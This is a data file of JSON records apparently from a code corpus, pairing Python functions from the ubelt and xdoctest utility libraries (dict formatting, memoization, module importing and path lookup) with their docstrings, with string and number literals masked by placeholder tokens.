{"signature": "def _format_dict(dict_, **kwargs):", "body": "kwargs['<STR_LIT>'] = _rectify_root_info(kwargs.get('<STR_LIT>', None))<EOL>kwargs['<STR_LIT>']['<STR_LIT>'] += <NUM_LIT:1><EOL>stritems = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', False))<EOL>if stritems:<EOL><INDENT>kwargs['<STR_LIT>'] = True<EOL>kwargs['<STR_LIT>'] = True<EOL><DEDENT>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', False))<EOL>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', False))<EOL>newlines = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', True))<EOL>kwargs['<STR_LIT>'] = _rectify_countdown_or_bool(newlines)<EOL>nobraces = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', False))<EOL>compact_brace = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', False))<EOL>trailing_sep = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', newlines > <NUM_LIT:0>))<EOL>explicit = kwargs.get('<STR_LIT>', False)<EOL>itemsep = kwargs.get('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>if len(dict_) == <NUM_LIT:0>:<EOL><INDENT>retstr = '<STR_LIT>' if explicit else '<STR_LIT:{}>'<EOL>_leaf_info = None<EOL><DEDENT>else:<EOL><INDENT>itemstrs, _leaf_info = _dict_itemstrs(dict_, **kwargs)<EOL>if nobraces:<EOL><INDENT>lbr, rbr = '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>elif explicit:<EOL><INDENT>lbr, rbr = '<STR_LIT>', '<STR_LIT:)>'<EOL><DEDENT>else:<EOL><INDENT>lbr, rbr = '<STR_LIT:{>', '<STR_LIT:}>'<EOL><DEDENT>retstr = _join_itemstrs(itemstrs, itemsep, newlines, _leaf_info, nobraces,<EOL>trailing_sep, compact_brace, lbr, rbr)<EOL><DEDENT>return retstr, _leaf_info<EOL>", "docstring": "Makes a pretty printable / human-readable string representation of a\ndictionary. In most cases this string could be evaled.\n\nArgs:\n    dict_ (dict):  a dictionary\n    **kwargs: si, stritems, strkeys, strvals, sk, sv, nl, newlines, nobr,\n              nobraces, cbr, compact_brace, trailing_sep,\n              explicit, itemsep, precision, kvsep, sort\n\nReturns:\n    Tuple[str, Dict] : retstr, _leaf_info\n\nKwargs:\n    sort (None): if True, sorts ALL collections and subcollections,\n        note, collections with undefined orders (e.g. dicts, sets) are\n        sorted by default. (default = None)\n    nl (int): preferred alias for newline. can be a countdown variable\n        (default = None)\n    explicit (int): can be a countdown variable. if True, uses\n        dict(a=b) syntax instead of {'a': b}\n    nobr (bool): removes outer braces (default = False)", "id": "f5126:m6"}
{"signature": "def _join_itemstrs(itemstrs, itemsep, newlines, _leaf_info, nobraces,<EOL>trailing_sep, compact_brace, lbr, rbr):", "body": "<EOL>use_newline = newlines > <NUM_LIT:0><EOL>if newlines < <NUM_LIT:0>:<EOL><INDENT>use_newline = (-newlines) < _leaf_info['<STR_LIT>']<EOL><DEDENT>if use_newline:<EOL><INDENT>sep = '<STR_LIT>'<EOL>if nobraces:<EOL><INDENT>body_str = sep.join(itemstrs)<EOL>if trailing_sep and len(itemstrs) > <NUM_LIT:0>:<EOL><INDENT>body_str += '<STR_LIT:U+002C>'<EOL><DEDENT>retstr = body_str<EOL><DEDENT>else:<EOL><INDENT>if compact_brace:<EOL><INDENT>indented = itemstrs<EOL><DEDENT>else:<EOL><INDENT>import ubelt as ub<EOL>prefix = '<STR_LIT:U+0020>' * <NUM_LIT:4><EOL>indented = [ub.indent(s, prefix) for s in itemstrs]<EOL><DEDENT>body_str = sep.join(indented)<EOL>if trailing_sep and len(itemstrs) > <NUM_LIT:0>:<EOL><INDENT>body_str += '<STR_LIT:U+002C>'<EOL><DEDENT>if compact_brace:<EOL><INDENT>braced_body_str = (lbr + body_str.replace('<STR_LIT:\\n>', '<STR_LIT>') + rbr)<EOL><DEDENT>else:<EOL><INDENT>braced_body_str = (lbr + '<STR_LIT:\\n>' + body_str + '<STR_LIT:\\n>' + rbr)<EOL><DEDENT>retstr = braced_body_str<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sep = '<STR_LIT:U+002C>' + itemsep<EOL>body_str = sep.join(itemstrs)<EOL>if trailing_sep and len(itemstrs) > <NUM_LIT:0>:<EOL><INDENT>body_str += '<STR_LIT:U+002C>'<EOL><DEDENT>retstr  = (lbr + body_str +  rbr)<EOL><DEDENT>return retstr<EOL>", "docstring": "Joins string-ified items with separators newlines and container-braces.", "id": "f5126:m7"}
{"signature": "def _dict_itemstrs(dict_, **kwargs):", "body": "import ubelt as ub<EOL>explicit = kwargs.get('<STR_LIT>', False)<EOL>kwargs['<STR_LIT>'] = _rectify_countdown_or_bool(explicit)<EOL>precision = kwargs.get('<STR_LIT>', None)<EOL>kvsep = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>if explicit:<EOL><INDENT>kvsep = '<STR_LIT:=>'<EOL><DEDENT>def make_item_str(key, val):<EOL><INDENT>if explicit or kwargs.get('<STR_LIT>', False):<EOL><INDENT>key_str = six.text_type(key)<EOL><DEDENT>else:<EOL><INDENT>key_str = repr2(key, precision=precision, newlines=<NUM_LIT:0>)<EOL><DEDENT>prefix = key_str + kvsep<EOL>kwargs['<STR_LIT>'] = True<EOL>val_str, _leaf_info = repr2(val, **kwargs)<EOL>pos = val_str.find('<STR_LIT:\\n>')<EOL>first_line = val_str if pos == -<NUM_LIT:1> else val_str[:pos]<EOL>compact_brace = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', False))<EOL>if compact_brace or not first_line.rstrip().endswith(tuple('<STR_LIT>')):<EOL><INDENT>rest = '<STR_LIT>' if pos == -<NUM_LIT:1> else val_str[pos:]<EOL>val_str = first_line.lstrip() + rest<EOL>if '<STR_LIT:\\n>' in prefix:<EOL><INDENT>item_str = prefix + val_str<EOL><DEDENT>else:<EOL><INDENT>item_str = ub.hzcat([prefix, val_str])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>item_str = prefix + val_str<EOL><DEDENT>return item_str, _leaf_info<EOL><DEDENT>items = list(six.iteritems(dict_))<EOL>_tups = [make_item_str(key, val) for (key, val) in items]<EOL>itemstrs = [t[<NUM_LIT:0>] for t in _tups]<EOL>max_height = max([t[<NUM_LIT:1>]['<STR_LIT>'] for t in _tups]) if _tups else <NUM_LIT:0><EOL>_leaf_info = {<EOL>'<STR_LIT>': max_height + <NUM_LIT:1>,<EOL>}<EOL>sort = kwargs.get('<STR_LIT>', None)<EOL>if sort is None:<EOL><INDENT>sort = True<EOL><DEDENT>if isinstance(dict_, collections.OrderedDict):<EOL><INDENT>sort = False<EOL><DEDENT>if sort:<EOL><INDENT>itemstrs = _sort_itemstrs(items, itemstrs)<EOL><DEDENT>return itemstrs, _leaf_info<EOL>", "docstring": "Create a string representation for each item in a dict.\n\nExample:\n    >>> from ubelt.util_format import *\n    >>> dict_ =  {'b': .1, 'l': 'st', 'g': 1.0, 's': 10, 'm': 0.9, 'w': .5}\n    >>> kwargs = {'strkeys': True}\n    >>> itemstrs, _ = _dict_itemstrs(dict_, **kwargs)\n    >>> char_order = [p[0] for p in itemstrs]\n    >>> assert char_order == ['b', 'g', 'l', 'm', 's', 'w']", "id": "f5126:m8"}
{"signature": "def _list_itemstrs(list_, **kwargs):", "body": "items = list(list_)<EOL>kwargs['<STR_LIT>'] = True<EOL>_tups = [repr2(item, **kwargs) for item in items]<EOL>itemstrs = [t[<NUM_LIT:0>] for t in _tups]<EOL>max_height = max([t[<NUM_LIT:1>]['<STR_LIT>'] for t in _tups]) if _tups else <NUM_LIT:0><EOL>_leaf_info = {<EOL>'<STR_LIT>': max_height + <NUM_LIT:1>,<EOL>}<EOL>sort = kwargs.get('<STR_LIT>', None)<EOL>if sort is None:<EOL><INDENT>sort = isinstance(list_, (set, frozenset))<EOL><DEDENT>if sort:<EOL><INDENT>itemstrs = _sort_itemstrs(items, itemstrs)<EOL><DEDENT>return itemstrs, _leaf_info<EOL>", "docstring": "Create a string representation for each item in a list.", "id": "f5126:m9"}
{"signature": "def _sort_itemstrs(items, itemstrs):", "body": "<EOL>import ubelt as ub<EOL>try:<EOL><INDENT>if _peek_isinstance(items, (set, frozenset)):<EOL><INDENT>raise TypeError<EOL><DEDENT>sortx = ub.argsort(items)<EOL><DEDENT>except TypeError:<EOL><INDENT>sortx = ub.argsort(itemstrs)<EOL><DEDENT>itemstrs = [itemstrs[x] for x in sortx]<EOL>return itemstrs<EOL>", "docstring": "Equivalent to `sorted(items)` except if `items` are unorderable, then\nstring values are used to define an ordering.", "id": "f5126:m10"}
{"signature": "def _rectify_countdown_or_bool(count_or_bool):", "body": "if count_or_bool is True or count_or_bool is False:<EOL><INDENT>count_or_bool_ = count_or_bool<EOL><DEDENT>elif isinstance(count_or_bool, int):<EOL><INDENT>if count_or_bool == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>elif count_or_bool > <NUM_LIT:0>:<EOL><INDENT>count_or_bool_ = count_or_bool - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>count_or_bool_ = count_or_bool<EOL><DEDENT><DEDENT>else:<EOL><INDENT>count_or_bool_ = False<EOL><DEDENT>return count_or_bool_<EOL>", "docstring": "used by recursive functions to specify which level to turn a bool on in\ncounting down yields True, True, ..., False\ncounting up yields False, False, False, ... True\n\nArgs:\n    count_or_bool (bool or int): if positive and an integer, it will count\n        down, otherwise it will remain the same.\n\nReturns:\n    int or bool: count_or_bool_\n\nCommandLine:\n    python -m utool.util_str --test-_rectify_countdown_or_bool\n\nExample:\n    >>> from ubelt.util_format import _rectify_countdown_or_bool  # NOQA\n    >>> count_or_bool = True\n    >>> a1 = (_rectify_countdown_or_bool(2))\n    >>> a2 = (_rectify_countdown_or_bool(1))\n    >>> a3 = (_rectify_countdown_or_bool(0))\n    >>> a4 = (_rectify_countdown_or_bool(-1))\n    >>> a5 = (_rectify_countdown_or_bool(-2))\n    >>> a6 = (_rectify_countdown_or_bool(True))\n    >>> a7 = (_rectify_countdown_or_bool(False))\n    >>> a8 = (_rectify_countdown_or_bool(None))\n    >>> result = [a1, a2, a3, a4, a5, a6, a7, a8]\n    >>> print(result)\n    [1, 0, 0, -1, -2, True, False, False]", "id": "f5126:m12"}
{"signature": "def register(self, type):", "body": "def _decorator(func):<EOL><INDENT>if isinstance(type, tuple):<EOL><INDENT>for t in type:<EOL><INDENT>self.func_registry[t] = func<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.func_registry[type] = func<EOL><DEDENT>return func<EOL><DEDENT>return _decorator<EOL>", "docstring": "Registers a custom formatting function with ub.repr2", "id": "f5126:c0:m1"}
{"signature": "def lookup(self, data):", "body": "for func in self.lazy_init:<EOL><INDENT>func()<EOL><DEDENT>for type, func in self.func_registry.items():<EOL><INDENT>if isinstance(data, type):<EOL><INDENT>return func<EOL><DEDENT><DEDENT>", "docstring": "Returns an appropriate function to format `data` if one has been\nregistered.", "id": "f5126:c0:m2"}
{"signature": "def _register_numpy_extensions(self):", "body": "import numpy as np<EOL>@self.register(np.ndarray)<EOL>def format_ndarray(data, **kwargs):<EOL><INDENT>import re<EOL>strvals = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', False))<EOL>itemsep = kwargs.get('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>precision = kwargs.get('<STR_LIT>', None)<EOL>suppress_small = kwargs.get('<STR_LIT>', None)<EOL>max_line_width = kwargs.get('<STR_LIT>', None)<EOL>with_dtype = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', not strvals))<EOL>newlines = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', <NUM_LIT:1>))<EOL>separator = '<STR_LIT:U+002C>' + itemsep<EOL>if strvals:<EOL><INDENT>prefix = '<STR_LIT>'<EOL>suffix = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>modname = type(data).__module__<EOL>np_nice = '<STR_LIT>'<EOL>modname = re.sub('<STR_LIT>', np_nice, modname)<EOL>modname = re.sub('<STR_LIT>', '<STR_LIT>', modname)<EOL>class_name = type(data).__name__<EOL>if class_name == '<STR_LIT>':<EOL><INDENT>class_name = '<STR_LIT>'<EOL><DEDENT>prefix = modname + '<STR_LIT:.>' + class_name + '<STR_LIT:(>'<EOL>if with_dtype:<EOL><INDENT>dtype_repr = data.dtype.name<EOL>suffix = '<STR_LIT>'.format(itemsep, np_nice, dtype_repr)<EOL><DEDENT>else:<EOL><INDENT>suffix = '<STR_LIT:)>'<EOL><DEDENT><DEDENT>if not strvals and data.size == <NUM_LIT:0> and data.shape != (<NUM_LIT:0>,):<EOL><INDENT>prefix = modname + '<STR_LIT>'<EOL>body = repr(tuple(map(int, data.shape)))<EOL><DEDENT>else:<EOL><INDENT>body = np.array2string(data, precision=precision,<EOL>separator=separator,<EOL>suppress_small=suppress_small,<EOL>prefix=prefix,<EOL>max_line_width=max_line_width)<EOL><DEDENT>if not newlines:<EOL><INDENT>body = re.sub('<STR_LIT>', '<STR_LIT>', body)<EOL><DEDENT>formatted = prefix + body + suffix<EOL>return formatted<EOL><DEDENT>self.register(np.float32)(self.func_registry[float])<EOL>", "docstring": "CommandLine:\n    python -m ubelt.util_format FormatterExtensions._register_numpy_extensions\n\nExample:\n    >>> import sys\n    >>> import pytest\n    >>> import ubelt as ub\n    >>> if not ub.modname_to_modpath('numpy'):\n    ...     raise pytest.skip()\n    >>> # xdoctest: +IGNORE_WHITESPACE\n    >>> import numpy as np\n    >>> data = np.array([[.2, 42, 5], [21.2, 3, .4]])\n    >>> print(ub.repr2(data))\n    np.array([[ 0.2, 42. ,  5. ],\n              [21.2,  3. ,  0.4]], dtype=np.float64)\n    >>> print(ub.repr2(data, with_dtype=False))\n    np.array([[ 0.2, 42. ,  5. ],\n              [21.2,  3. ,  0.4]])\n    >>> print(ub.repr2(data, strvals=True))\n    [[ 0.2, 42. ,  5. ],\n     [21.2,  3. ,  0.4]]\n    >>> data = np.empty((0, 10), dtype=np.float64)\n    >>> print(ub.repr2(data, strvals=False))\n    np.empty((0, 10), dtype=np.float64)\n    >>> print(ub.repr2(data, strvals=True))\n    []\n    >>> data = np.ma.empty((0, 10), dtype=np.float64)\n    >>> print(ub.repr2(data, strvals=False))\n    np.ma.empty((0, 10), dtype=np.float64)", "id": "f5126:c0:m3"}
{"signature": "def _hashable(item):", "body": "try:<EOL><INDENT>hash(item)<EOL><DEDENT>except TypeError:<EOL><INDENT>return util_hash.hash_data(item)<EOL><DEDENT>else:<EOL><INDENT>return item<EOL><DEDENT>", "docstring": "Returns the item if it is naturally hashable, otherwise it tries to use\nub.hash_data to make it hashable. Errors if it cannot.", "id": "f5129:m0"}
{"signature": "def _make_signature_key(args, kwargs):", "body": "kwitems = kwargs.items()<EOL>if (sys.version_info.major, sys.version_info.minor) < (<NUM_LIT:3>, <NUM_LIT:7>):  <EOL><INDENT>kwitems = sorted(kwitems)<EOL><DEDENT>kwitems = tuple(kwitems)<EOL>try:<EOL><INDENT>key = _hashable(args), _hashable(kwitems)<EOL><DEDENT>except TypeError:<EOL><INDENT>raise TypeError('<STR_LIT>'.format(args, kwargs))<EOL><DEDENT>return key<EOL>", "docstring": "Transforms function args into a key that can be used by the cache\n\nCommandLine:\n    xdoctest -m ubelt.util_memoize _make_signature_key\n\nExample:\n    >>> args = (4, [1, 2])\n    >>> kwargs = {'a': 'b'}\n    >>> key = _make_signature_key(args, kwargs)\n    >>> print('key = {!r}'.format(key))\n    >>> # Some mutable types cannot be handled by ub.hash_data\n    >>> import pytest\n    >>> import six\n    >>> if six.PY2:\n    >>>     import collections as abc\n    >>> else:\n    >>>     from collections import abc\n    >>> with pytest.raises(TypeError):\n    >>>     _make_signature_key((4, [1, 2], {1: 2, 'a': 'b'}), kwargs={})\n    >>> class Dummy(abc.MutableSet):\n    >>>     def __contains__(self, item): return None\n    >>>     def __iter__(self): return iter([])\n    >>>     def __len__(self): return 0\n    >>>     def add(self, item, loc): return None\n    >>>     def discard(self, item): return None\n    >>> with pytest.raises(TypeError):\n    >>>     _make_signature_key((Dummy(),), kwargs={})", "id": "f5129:m1"}
{"signature": "def memoize(func):", "body": "cache = {}<EOL>@functools.wraps(func)<EOL>def memoizer(*args, **kwargs):<EOL><INDENT>key = _make_signature_key(args, kwargs)<EOL>if key not in cache:<EOL><INDENT>cache[key] = func(*args, **kwargs)<EOL><DEDENT>return cache[key]<EOL><DEDENT>memoizer.cache = cache<EOL>return memoizer<EOL>", "docstring": "memoization decorator that respects args and kwargs\n\nReferences:\n    https://wiki.python.org/moin/PythonDecoratorLibrary#Memoize\n\nArgs:\n    func (Callable): live python function\n\nReturns:\n    func: memoized wrapper\n\nCommandLine:\n    xdoctest -m ubelt.util_memoize memoize\n\nExample:\n    >>> import ubelt as ub\n    >>> closure = {'a': 'b', 'c': 'd'}\n    >>> incr = [0]\n    >>> def foo(key):\n    >>>     value = closure[key]\n    >>>     incr[0] += 1\n    >>>     return value\n    >>> foo_memo = ub.memoize(foo)\n    >>> assert foo('a') == 'b' and foo('c') == 'd'\n    >>> assert incr[0] == 2\n    >>> print('Call memoized version')\n    >>> assert foo_memo('a') == 'b' and foo_memo('c') == 'd'\n    >>> assert incr[0] == 4\n    >>> assert foo_memo('a') == 'b' and foo_memo('c') == 'd'\n    >>> print('Counter should no longer increase')\n    >>> assert incr[0] == 4\n    >>> print('Closure changes result without memoization')\n    >>> closure = {'a': 0, 'c': 1}\n    >>> assert foo('a') == 0 and foo('c') == 1\n    >>> assert incr[0] == 6\n    >>> assert foo_memo('a') == 'b' and foo_memo('c') == 'd'", "id": "f5129:m2"}
{"signature": "def memoize_property(fget):", "body": "<EOL>while hasattr(fget, '<STR_LIT>'):<EOL><INDENT>fget = fget.fget<EOL><DEDENT>attr_name = '<STR_LIT:_>' + fget.__name__<EOL>@functools.wraps(fget)<EOL>def fget_memoized(self):<EOL><INDENT>if not hasattr(self, attr_name):<EOL><INDENT>setattr(self, attr_name, fget(self))<EOL><DEDENT>return getattr(self, attr_name)<EOL><DEDENT>return property(fget_memoized)<EOL>", "docstring": "Return a property attribute for new-style classes that only calls its\ngetter on the first access. The result is stored and on subsequent accesses\nis returned, preventing the need to call the getter any more.\n\nThis decorator can either be used by itself or by decorating another\nproperty. In either case the method will always become a property.\n\nNotes:\n    implementation is a modified version of [1].\n\nReferences:\n    ..[1] https://github.com/estebistec/python-memoized-property\n\nCommandLine:\n    xdoctest -m ubelt.util_memoize memoize_property\n\nExample:\n    >>> class C(object):\n    ...     load_name_count = 0\n    ...     @memoize_property\n    ...     def name(self):\n    ...         \"name's docstring\"\n    ...         self.load_name_count += 1\n    ...         return \"the name\"\n    ...     @memoize_property\n    ...     @property\n    ...     def another_name(self):\n    ...         \"name's docstring\"\n    ...         self.load_name_count += 1\n    ...         return \"the name\"\n    >>> c = C()\n    >>> c.load_name_count\n    0\n    >>> c.name\n    'the name'\n    >>> c.load_name_count\n    1\n    >>> c.name\n    'the name'\n    >>> c.load_name_count\n    1\n    >>> c.another_name", "id": "f5129:m3"}
{"signature": "def __get__(self, instance, cls=None):", "body": "self._instance = instance<EOL>return self<EOL>", "docstring": "Descriptor get method. Called when the decorated method is accessed\nfrom an object instance.\n\nArgs:\n    instance (object): the instance of the class with the memoized method\n    cls (type): the type of the instance", "id": "f5129:c0:m1"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "cache = self._instance.__dict__.setdefault(self._cache_name, {})<EOL>key = _make_signature_key(args, kwargs)<EOL>if key in cache:<EOL><INDENT>return cache[key]<EOL><DEDENT>else:<EOL><INDENT>value = cache[key] = self._func(self._instance, *args, **kwargs)<EOL>return value<EOL><DEDENT>", "docstring": "The wrapped function call", "id": "f5129:c0:m2"}
{"signature": "def import_module_from_path(modpath, index=-<NUM_LIT:1>):", "body": "import os<EOL>if not os.path.exists(modpath):<EOL><INDENT>import re<EOL>import zipimport<EOL>pat = '<STR_LIT>' + re.escape(os.path.sep) + '<STR_LIT>'<EOL>parts = re.split(pat, modpath, flags=re.IGNORECASE)<EOL>if len(parts) > <NUM_LIT:2>:<EOL><INDENT>archivepath = '<STR_LIT>'.join(parts[:-<NUM_LIT:1>])[:-<NUM_LIT:1>]<EOL>internal = parts[-<NUM_LIT:1>]<EOL>modname = os.path.splitext(internal)[<NUM_LIT:0>]<EOL>modname = os.path.normpath(modname)<EOL>if os.path.exists(archivepath):<EOL><INDENT>zimp_file = zipimport.zipimporter(archivepath)<EOL>module = zimp_file.load_module(modname)<EOL>return module<EOL><DEDENT><DEDENT>raise IOError('<STR_LIT>'.format(modpath))<EOL><DEDENT>else:<EOL><INDENT>module = _custom_import_modpath(modpath)<EOL>return module<EOL><DEDENT>", "docstring": "Imports a module via its path\n\nArgs:\n    modpath (PathLike): path to the module on disk or within a zipfile.\n\nReturns:\n    module: the imported module\n\nReferences:\n    https://stackoverflow.com/questions/67631/import-module-given-path\n\nNotes:\n    If the module is part of a package, the package will be imported first.\n    These modules may cause problems when reloading via IPython magic\n\n    This can import a module from within a zipfile. To do this modpath\n    should specify the path to the zipfile and the path to the module\n    within that zipfile separated by a colon or pathsep.\n    E.g. `/path/to/archive.zip:mymodule.py`\n\nWarning:\n    It is best to use this with paths that will not conflict with\n    previously existing modules.\n\n    If the modpath conflicts with a previously existing module name. And\n    the target module does imports of its own relative to this conflicting\n    path. In this case, the module that was loaded first will win.\n\n    For example if you try to import '/foo/bar/pkg/mod.py' from the folder\n    structure:\n      - foo/\n        +- bar/\n           +- pkg/\n              +  __init__.py\n              |- mod.py\n              |- helper.py\n\n   If there exists another module named `pkg` already in sys.modules\n   and mod.py does something like `from . import helper`, Python will\n   assume helper belongs to the `pkg` module already in sys.modules.\n   This can cause a NameError or worse --- a incorrect helper module.\n\nExample:\n    >>> import xdoctest\n    >>> modpath = xdoctest.__file__\n    >>> module = import_module_from_path(modpath)\n    >>> assert module is xdoctest\n\nExample:\n    >>> # Test importing a module from within a zipfile\n    >>> import zipfile\n    >>> from xdoctest import utils\n    >>> from os.path import join, expanduser\n    >>> dpath = expanduser('~/.cache/xdoctest')\n    >>> dpath = utils.ensuredir(dpath)\n    >>> #dpath = utils.TempDir().ensure()\n    >>> # Write to an external module named bar\n    >>> external_modpath = join(dpath, 'bar.py')\n    >>> open(external_modpath, 'w').write('testvar = 1')\n    >>> internal = 'folder/bar.py'\n    >>> # Move the external bar module into a zipfile\n    >>> zippath = join(dpath, 'myzip.zip')\n    >>> with zipfile.ZipFile(zippath, 'w') as myzip:\n    >>>     myzip.write(external_modpath, internal)\n    >>> # Import the bar module from within the zipfile\n    >>> modpath = zippath + ':' + internal\n    >>> modpath = zippath + os.path.sep + internal\n    >>> module = import_module_from_path(modpath)\n    >>> assert module.__name__ == os.path.normpath('folder/bar')\n    >>> assert module.testvar == 1\n\nDoctest:\n    >>> import pytest\n    >>> with pytest.raises(IOError):\n    >>>     import_module_from_path('does-not-exist')\n    >>> with pytest.raises(IOError):\n    >>>     import_module_from_path('does-not-exist.zip/')", "id": "f5130:m1"}
{"signature": "def import_module_from_name(modname):", "body": "if True:<EOL><INDENT>import importlib<EOL>module = importlib.import_module(modname)<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT:.>' in modname:<EOL><INDENT>fromlist = modname.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>fromlist_ = list(map(str, fromlist))  <EOL>module = __import__(modname, {}, {}, fromlist_, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>module = __import__(modname, {}, {}, [], <NUM_LIT:0>)<EOL><DEDENT><DEDENT>return module<EOL>", "docstring": "Imports a module from its string name (__name__)\n\nArgs:\n    modname (str):  module name\n\nReturns:\n    module: module\n\nExample:\n    >>> # test with modules that wont be imported in normal circumstances\n    >>> # todo write a test where we gaurentee this\n    >>> modname_list = [\n    >>>     'pickletools',\n    >>>     'lib2to3.fixes.fix_apply',\n    >>> ]\n    >>> #assert not any(m in sys.modules for m in modname_list)\n    >>> modules = [import_module_from_name(modname) for modname in modname_list]\n    >>> assert [m.__name__ for m in modules] == modname_list\n    >>> assert all(m in sys.modules for m in modname_list)", "id": "f5130:m2"}
{"signature": "def _extension_module_tags():", "body": "import sysconfig<EOL>tags = []<EOL>if six.PY2:<EOL><INDENT>multiarch = sysconfig.get_config_var('<STR_LIT>')<EOL>if multiarch is not None:<EOL><INDENT>tags.append(multiarch)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tags.append(sysconfig.get_config_var('<STR_LIT>'))<EOL>tags.append('<STR_LIT>')  <EOL><DEDENT>tags = [t for t in tags if t]<EOL>return tags<EOL>", "docstring": "Returns valid tags an extension module might have", "id": "f5130:m3"}
{"signature": "def _platform_pylib_exts():  ", "body": "import sysconfig<EOL>valid_exts = []<EOL>if six.PY2:<EOL><INDENT>base_ext = '<STR_LIT:.>' + sysconfig.get_config_var('<STR_LIT>').split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>base_ext = '<STR_LIT:.>' + sysconfig.get_config_var('<STR_LIT>').split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL><DEDENT>for tag in _extension_module_tags():<EOL><INDENT>valid_exts.append('<STR_LIT:.>' + tag + base_ext)<EOL><DEDENT>valid_exts.append(base_ext)<EOL>return tuple(valid_exts)<EOL>", "docstring": "Returns .so, .pyd, or .dylib depending on linux, win or mac.\nOn python3 return the previous with and without abi (e.g.\n.cpython-35m-x86_64-linux-gnu) flags. On python2 returns with\nand without multiarch.", "id": "f5130:m4"}
{"signature": "def _syspath_modname_to_modpath(modname, sys_path=None, exclude=None):", "body": "def _isvalid(modpath, base):<EOL><INDENT>subdir = dirname(modpath)<EOL>while subdir and subdir != base:<EOL><INDENT>if not exists(join(subdir, '<STR_LIT>')):<EOL><INDENT>return False<EOL><DEDENT>subdir = dirname(subdir)<EOL><DEDENT>return True<EOL><DEDENT>_fname_we = modname.replace('<STR_LIT:.>', os.path.sep)<EOL>candidate_fnames = [<EOL>_fname_we + '<STR_LIT>',<EOL>]<EOL>candidate_fnames += [_fname_we + ext for ext in _platform_pylib_exts()]<EOL>if sys_path is None:<EOL><INDENT>sys_path = sys.path<EOL><DEDENT>candidate_dpaths = ['<STR_LIT:.>' if p == '<STR_LIT>' else p for p in sys_path]<EOL>if exclude:<EOL><INDENT>def normalize(p):<EOL><INDENT>if sys.platform.startswith('<STR_LIT:win32>'):  <EOL><INDENT>return realpath(p).lower()<EOL><DEDENT>else:<EOL><INDENT>return realpath(p)<EOL><DEDENT><DEDENT>real_exclude = {normalize(p) for p in exclude}<EOL>candidate_dpaths = [p for p in candidate_dpaths<EOL>if normalize(p) not in real_exclude]<EOL><DEDENT>for dpath in candidate_dpaths:<EOL><INDENT>modpath = join(dpath, _fname_we)<EOL>if exists(modpath):<EOL><INDENT>if isfile(join(modpath, '<STR_LIT>')):<EOL><INDENT>if _isvalid(modpath, dpath):<EOL><INDENT>return modpath<EOL><DEDENT><DEDENT><DEDENT>for fname in candidate_fnames:<EOL><INDENT>modpath = join(dpath, fname)<EOL>if isfile(modpath):<EOL><INDENT>if _isvalid(modpath, dpath):<EOL><INDENT>return modpath<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "syspath version of modname_to_modpath\n\nArgs:\n    modname (str): name of module to find\n    sys_path (List[PathLike], default=None):\n        if specified overrides `sys.path`\n    exclude (List[PathLike], default=None):\n        list of directory paths. if specified prevents these directories\n        from being searched.\n\nNotes:\n    This is much slower than the pkgutil mechanisms.\n\nCommandLine:\n    python -m xdoctest.static_analysis _syspath_modname_to_modpath\n\nExample:\n    >>> print(_syspath_modname_to_modpath('xdoctest.static_analysis'))\n    ...static_analysis.py\n    >>> print(_syspath_modname_to_modpath('xdoctest'))\n    ...xdoctest\n    >>> print(_syspath_modname_to_modpath('_ctypes'))\n    ..._ctypes...\n    >>> assert _syspath_modname_to_modpath('xdoctest', sys_path=[]) is None\n    >>> assert _syspath_modname_to_modpath('xdoctest.static_analysis', sys_path=[]) is None\n    >>> assert _syspath_modname_to_modpath('_ctypes', sys_path=[]) is None\n    >>> assert _syspath_modname_to_modpath('this', sys_path=[]) is None\n\nExample:\n    >>> # test what happens when the module is not visible in the path\n    >>> modname = 'xdoctest.static_analysis'\n    >>> modpath = _syspath_modname_to_modpath(modname)\n    >>> exclude = [split_modpath(modpath)[0]]\n    >>> found = _syspath_modname_to_modpath(modname, exclude=exclude)\n    >>> # this only works if installed in dev mode, pypi fails\n    >>> assert found is None, 'should not have found {}'.format(found)", "id": "f5130:m5"}
{"signature": "def modname_to_modpath(modname, hide_init=True, hide_main=False, sys_path=None):", "body": "modpath = _syspath_modname_to_modpath(modname, sys_path)<EOL>if modpath is None:<EOL><INDENT>return None<EOL><DEDENT>modpath = normalize_modpath(modpath, hide_init=hide_init,<EOL>hide_main=hide_main)<EOL>return modpath<EOL>", "docstring": "Finds the path to a python module from its name.\n\nDetermines the path to a python module without directly import it\n\nConverts the name of a module (__name__) to the path (__file__) where it is\nlocated without importing the module. Returns None if the module does not\nexist.\n\nArgs:\n    modname (str): module filepath\n    hide_init (bool): if False, __init__.py will be returned for packages\n    hide_main (bool): if False, and hide_init is True, __main__.py will be\n        returned for packages, if it exists.\n    sys_path (list): if specified overrides `sys.path` (default None)\n\nReturns:\n    str: modpath - path to the module, or None if it doesn't exist\n\nCommandLine:\n    python -m xdoctest.static_analysis modname_to_modpath:0\n    pytest  